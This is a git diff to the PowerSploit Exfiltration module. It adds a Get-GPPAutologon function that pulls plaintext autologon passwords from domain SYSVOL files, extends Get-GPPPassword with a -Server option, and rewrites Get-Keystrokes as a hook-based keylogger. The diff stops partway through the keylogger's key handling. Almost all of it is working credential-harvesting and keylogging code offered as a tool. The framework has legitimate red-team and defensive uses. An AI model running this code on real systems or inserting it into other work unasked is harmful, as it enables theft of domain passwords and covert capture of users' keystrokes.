commit
c7985c9bc3
|
|
@ -648,7 +648,7 @@ $RemoteScriptBlock = {
|
|||
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
|
||||
|
||||
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
|
||||
$FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
|
||||
$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
|
||||
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
|
||||
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
|
||||
|
||||
|
|
|
|||
|
|
@ -31,6 +31,7 @@ FunctionsToExport = '*'
|
|||
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
|
||||
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
|
||||
'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1',
|
||||
'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml'
|
||||
'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml',
|
||||
'Get-MicrophoneAudio.ps1', 'Get-GPPAutologon.ps1'
|
||||
|
||||
}
|
||||
|
|
|
|||
|
|
@ -0,0 +1,139 @@
|
|||
function Get-GPPAutologon
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences.
|
||||
|
||||
PowerSploit Function: Get-GPPAutologon
|
||||
Author: Oddvar Moe (@oddvarmoe)
|
||||
Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work!
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-GPPAutolgon
|
||||
|
||||
UserNames File Passwords
|
||||
--------- ---- ---------
|
||||
{administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3}
|
||||
{NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword}
|
||||
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq
|
||||
|
||||
password
|
||||
password12
|
||||
password123
|
||||
password1234
|
||||
password1234$
|
||||
read123
|
||||
Recycling*3ftw!
|
||||
|
||||
.LINK
|
||||
|
||||
https://support.microsoft.com/nb-no/kb/324737
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param ()
|
||||
|
||||
#Some XML issues between versions
|
||||
Set-StrictMode -Version 2
|
||||
|
||||
#define helper function to parse fields from xml files
|
||||
function Get-GPPInnerFields
|
||||
{
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
$File
|
||||
)
|
||||
|
||||
try
|
||||
{
|
||||
$Filename = Split-Path $File -Leaf
|
||||
[xml] $Xml = Get-Content ($File)
|
||||
|
||||
#declare empty arrays
|
||||
$Password = @()
|
||||
$UserName = @()
|
||||
|
||||
#check for password and username field
|
||||
if (($Xml.innerxml -like "*DefaultPassword*") -and ($Xml.innerxml -like "*DefaultUserName*"))
|
||||
{
|
||||
$props = $xml.GetElementsByTagName("Properties")
|
||||
foreach($prop in $props)
|
||||
{
|
||||
switch ($prop.name)
|
||||
{
|
||||
'DefaultPassword'
|
||||
{
|
||||
$Password += , $prop | Select-Object -ExpandProperty Value
|
||||
}
|
||||
|
||||
'DefaultUsername'
|
||||
{
|
||||
$Username += , $prop | Select-Object -ExpandProperty Value
|
||||
}
|
||||
}
|
||||
|
||||
Write-Verbose "Potential password in $File"
|
||||
}
|
||||
|
||||
#put [BLANK] in variables
|
||||
if (!($Password))
|
||||
{
|
||||
$Password = '[BLANK]'
|
||||
}
|
||||
|
||||
if (!($UserName))
|
||||
{
|
||||
$UserName = '[BLANK]'
|
||||
}
|
||||
|
||||
#Create custom object to output results
|
||||
$ObjectProperties = @{'Passwords' = $Password;
|
||||
'UserNames' = $UserName;
|
||||
'File' = $File}
|
||||
|
||||
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
||||
Write-Verbose "The password is between {} and may be more than one value."
|
||||
if ($ResultsObject)
|
||||
{
|
||||
Return $ResultsObject
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
|
||||
try {
|
||||
#ensure that machine is domain joined and script is running as a domain account
|
||||
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
|
||||
throw 'Machine is not a domain member or User is not a member of the domain.'
|
||||
}
|
||||
|
||||
#discover potential registry.xml containing autologon passwords
|
||||
Write-Verbose 'Searching the DC. This could take a while.'
|
||||
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml'
|
||||
|
||||
if ( -not $XMlFiles ) {throw 'No preference files found.'}
|
||||
|
||||
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
|
||||
|
||||
foreach ($File in $XMLFiles) {
|
||||
$Result = (Get-GppInnerFields $File.Fullname)
|
||||
Write-Output $Result
|
||||
}
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
|
|
@ -12,7 +12,12 @@ function Get-GPPPassword {
|
|||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
|
||||
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
|
||||
|
||||
.PARAMETER Server
|
||||
|
||||
Specify the domain controller to search for.
|
||||
Default's to the users current domain
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
|
|
@ -42,6 +47,21 @@ function Get-GPPPassword {
|
|||
UserNames : {DEMO\Administrator, admin}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
|
||||
|
||||
.EXAMPLE
|
||||
PS C:\> Get-GPPPassword -Server EXAMPLE.COM
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:28:53}
|
||||
Passwords : {password12}
|
||||
UserNames : {test1}
|
||||
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
|
||||
|
||||
NewName : {mspresenters}
|
||||
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
||||
Passwords : {Recycling*3ftw!, password123, password1234}
|
||||
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
||||
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
|
||||
|
|
@ -63,7 +83,11 @@ function Get-GPPPassword {
|
|||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param ()
|
||||
Param (
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Server = $Env:USERDNSDOMAIN
|
||||
)
|
||||
|
||||
#Some XML issues between versions
|
||||
Set-StrictMode -Version 2
|
||||
|
|
@ -109,7 +133,7 @@ function Get-GPPPassword {
|
|||
function Get-GPPInnerFields {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
$File
|
||||
$File
|
||||
)
|
||||
|
||||
try {
|
||||
|
|
@ -204,10 +228,10 @@ function Get-GPPPassword {
|
|||
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
|
||||
throw 'Machine is not a domain member or User is not a member of the domain.'
|
||||
}
|
||||
|
||||
|
||||
#discover potential files containing passwords ; not complaining in case of denied access to a directory
|
||||
Write-Verbose 'Searching the DC. This could take a while.'
|
||||
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
|
||||
Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
|
||||
$XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
|
||||
|
||||
if ( -not $XMlFiles ) {throw 'No preference files found.'}
|
||||
|
||||
|
|
|
|||
|
|
@ -1,11 +1,12 @@
|
|||
function Get-Keystrokes {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
|
||||
Logs keys pressed, time and the active window.
|
||||
|
||||
PowerSploit Function: Get-Keystrokes
|
||||
Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
|
||||
Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
|
||||
Revised By: Jesse Davis (@secabstraction)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
|
@ -14,13 +15,13 @@ function Get-Keystrokes {
|
|||
|
||||
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
|
||||
|
||||
.PARAMETER CollectionInterval
|
||||
.PARAMETER Timeout
|
||||
|
||||
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
|
||||
|
||||
.PARAMETER PollingInterval
|
||||
.PARAMETER PassThru
|
||||
|
||||
Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds.
|
||||
Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
|
|
@ -28,234 +29,349 @@ function Get-Keystrokes {
|
|||
|
||||
.EXAMPLE
|
||||
|
||||
Get-Keystrokes -CollectionInterval 20
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-Keystrokes -PollingInterval 35
|
||||
|
||||
Get-Keystrokes -Timeout 20
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.obscuresec.com/
|
||||
http://www.exploit-monday.com/
|
||||
https://github.com/secabstraction
|
||||
#>
|
||||
[CmdletBinding()] Param (
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[Parameter(Position = 0)]
|
||||
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
|
||||
[String]
|
||||
$LogPath = "$($Env:TEMP)\key.log",
|
||||
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
|
||||
[String]$LogPath = "$($env:TEMP)\key.log",
|
||||
|
||||
[Parameter(Position = 1)]
|
||||
[UInt32]
|
||||
$CollectionInterval,
|
||||
[Double]$Timeout,
|
||||
|
||||
[Parameter(Position = 2)]
|
||||
[Int32]
|
||||
$PollingInterval = 40
|
||||
[Parameter()]
|
||||
[Switch]$PassThru
|
||||
)
|
||||
|
||||
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
|
||||
|
||||
Write-Verbose "Logging keystrokes to $LogPath"
|
||||
try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
|
||||
catch { throw $_ }
|
||||
|
||||
$Initilizer = {
|
||||
$LogPath = 'REPLACEME'
|
||||
$Script = {
|
||||
Param (
|
||||
[Parameter(Position = 0)]
|
||||
[String]$LogPath,
|
||||
|
||||
'"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode
|
||||
[Parameter(Position = 1)]
|
||||
[Double]$Timeout
|
||||
)
|
||||
|
||||
function KeyLog {
|
||||
[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
|
||||
function local:Get-DelegateType {
|
||||
Param (
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
)
|
||||
|
||||
try
|
||||
{
|
||||
$ImportDll = [User32]
|
||||
}
|
||||
catch
|
||||
{
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
|
||||
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
$TypeBuilder.CreateType()
|
||||
}
|
||||
function local:Get-ProcAddress {
|
||||
Param (
|
||||
[OutputType([IntPtr])]
|
||||
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[String]
|
||||
$Module,
|
||||
|
||||
[Parameter( Position = 1, Mandatory = $True )]
|
||||
[String]
|
||||
$Procedure
|
||||
)
|
||||
|
||||
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
|
||||
$FieldArray = [Reflection.FieldInfo[]] @(
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
|
||||
[Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
|
||||
)
|
||||
# Get a reference to System.dll in the GAC
|
||||
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||||
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||||
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||||
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||||
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||||
# Get a handle to the module specified
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
|
||||
# Return the address of the function
|
||||
$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
|
||||
$PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
|
||||
$FieldValueArray = [Object[]] @(
|
||||
'GetAsyncKeyState',
|
||||
$True,
|
||||
$False,
|
||||
$True,
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto
|
||||
)
|
||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
||||
#region Imports
|
||||
|
||||
$PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
|
||||
$FieldValueArray = [Object[]] @(
|
||||
'GetKeyboardState',
|
||||
$True,
|
||||
$False,
|
||||
$True,
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto
|
||||
)
|
||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
||||
[void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
|
||||
|
||||
$PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
|
||||
$FieldValueArray = [Object[]] @(
|
||||
'MapVirtualKey',
|
||||
$False,
|
||||
$False,
|
||||
$True,
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto
|
||||
)
|
||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
||||
# SetWindowsHookEx
|
||||
$SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA
|
||||
$SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr])
|
||||
$SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate)
|
||||
|
||||
$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
|
||||
[Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
|
||||
$FieldValueArray = [Object[]] @(
|
||||
'ToUnicode',
|
||||
$False,
|
||||
$False,
|
||||
$True,
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto
|
||||
)
|
||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
||||
# CallNextHookEx
|
||||
$CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx
|
||||
$CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr])
|
||||
$CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate)
|
||||
|
||||
$PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
|
||||
$FieldValueArray = [Object[]] @(
|
||||
'GetForegroundWindow',
|
||||
$True,
|
||||
$False,
|
||||
$True,
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto
|
||||
)
|
||||
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
|
||||
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
|
||||
# UnhookWindowsHookEx
|
||||
$UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx
|
||||
$UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void])
|
||||
$UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate)
|
||||
|
||||
$ImportDll = $TypeBuilder.CreateType()
|
||||
}
|
||||
# PeekMessage
|
||||
$PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA
|
||||
$PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void])
|
||||
$PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate)
|
||||
|
||||
Start-Sleep -Milliseconds $PollingInterval
|
||||
# GetAsyncKeyState
|
||||
$GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState
|
||||
$GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16])
|
||||
$GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate)
|
||||
|
||||
try
|
||||
{
|
||||
# GetForegroundWindow
|
||||
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
|
||||
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
|
||||
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
|
||||
|
||||
#loop through typeable characters to see which is pressed
|
||||
for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
|
||||
{
|
||||
$VirtualKey = $TypeableChar
|
||||
$KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)
|
||||
# GetWindowText
|
||||
$GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA
|
||||
$GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void])
|
||||
$GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate)
|
||||
|
||||
#if the key is pressed
|
||||
if (($KeyResult -band 0x8000) -eq 0x8000)
|
||||
{
|
||||
# GetModuleHandle
|
||||
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
|
||||
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
|
||||
$GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
|
||||
|
||||
#endregion Imports
|
||||
|
||||
#check for keys not mapped by virtual keyboard
|
||||
$LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
|
||||
$RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
|
||||
$LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
|
||||
$RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
|
||||
$LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
|
||||
$RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
|
||||
$TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
|
||||
$SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
|
||||
$DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
|
||||
$EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
|
||||
$BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
|
||||
$LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
|
||||
$RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
|
||||
$UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
|
||||
$DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
|
||||
$LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
|
||||
$RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
|
||||
$CallbackScript = {
|
||||
Param (
|
||||
[Parameter()]
|
||||
[Int32]$Code,
|
||||
|
||||
if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
|
||||
if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
|
||||
if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
|
||||
if ($TabKey) {$LogOutput += '[Tab]'}
|
||||
if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
|
||||
if ($DeleteKey) {$LogOutput += '[Delete]'}
|
||||
if ($EnterKey) {$LogOutput += '[Enter]'}
|
||||
if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
|
||||
if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
|
||||
if ($RightArrow) {$LogOutput += '[Right Arrow]'}
|
||||
if ($UpArrow) {$LogOutput += '[Up Arrow]'}
|
||||
if ($DownArrow) {$LogOutput += '[Down Arrow]'}
|
||||
if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
|
||||
if ($RightMouse) {$LogOutput += '[Right Mouse]'}
|
||||
[Parameter()]
|
||||
[IntPtr]$wParam,
|
||||
|
||||
#check for capslock
|
||||
if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}
|
||||
[Parameter()]
|
||||
[IntPtr]$lParam
|
||||
)
|
||||
|
||||
$MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
|
||||
$KeyboardState = New-Object Byte[] 256
|
||||
$CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)
|
||||
$Keys = [Windows.Forms.Keys]
|
||||
|
||||
$MsgType = $wParam.ToInt32()
|
||||
|
||||
#create a stringbuilder object
|
||||
$StringBuilder = New-Object -TypeName System.Text.StringBuilder;
|
||||
$UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)
|
||||
# Process WM_KEYDOWN & WM_SYSKEYDOWN messages
|
||||
if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
|
||||
|
||||
$hWindow = $GetForegroundWindow.Invoke()
|
||||
|
||||
#convert typed characters
|
||||
if ($UnicodeKey -gt 0) {
|
||||
$TypedCharacter = $StringBuilder.ToString()
|
||||
$LogOutput += ('['+ $TypedCharacter +']')
|
||||
}
|
||||
$ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey)
|
||||
if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true }
|
||||
else { $Shift = $false }
|
||||
|
||||
#get the title of the foreground window
|
||||
$TopWindow = $ImportDll::GetForegroundWindow()
|
||||
$WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
|
||||
$Caps = [Console]::CapsLock
|
||||
|
||||
#get the current DTG
|
||||
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
|
||||
|
||||
#Create a custom object to store results
|
||||
$ObjectProperties = @{'Key Typed' = $LogOutput;
|
||||
'Time' = $TimeStamp;
|
||||
'Window Title' = $WindowTitle}
|
||||
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
||||
|
||||
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
|
||||
$CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
|
||||
|
||||
#return results
|
||||
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
|
||||
# Read virtual-key from buffer
|
||||
$vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)
|
||||
|
||||
# Parse virtual-key
|
||||
if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters
|
||||
if ($Shift -xor $Caps) { $Key = $vKey.ToString() }
|
||||
else { $Key = $vKey.ToString().ToLower() }
|
||||
}
|
||||
elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters
|
||||
switch ($vKey.value__) {
|
||||
96 { $Key = '0' }
|
||||
97 { $Key = '1' }
|
||||
98 { $Key = '2' }
|
||||
99 { $Key = '3' }
|
||||
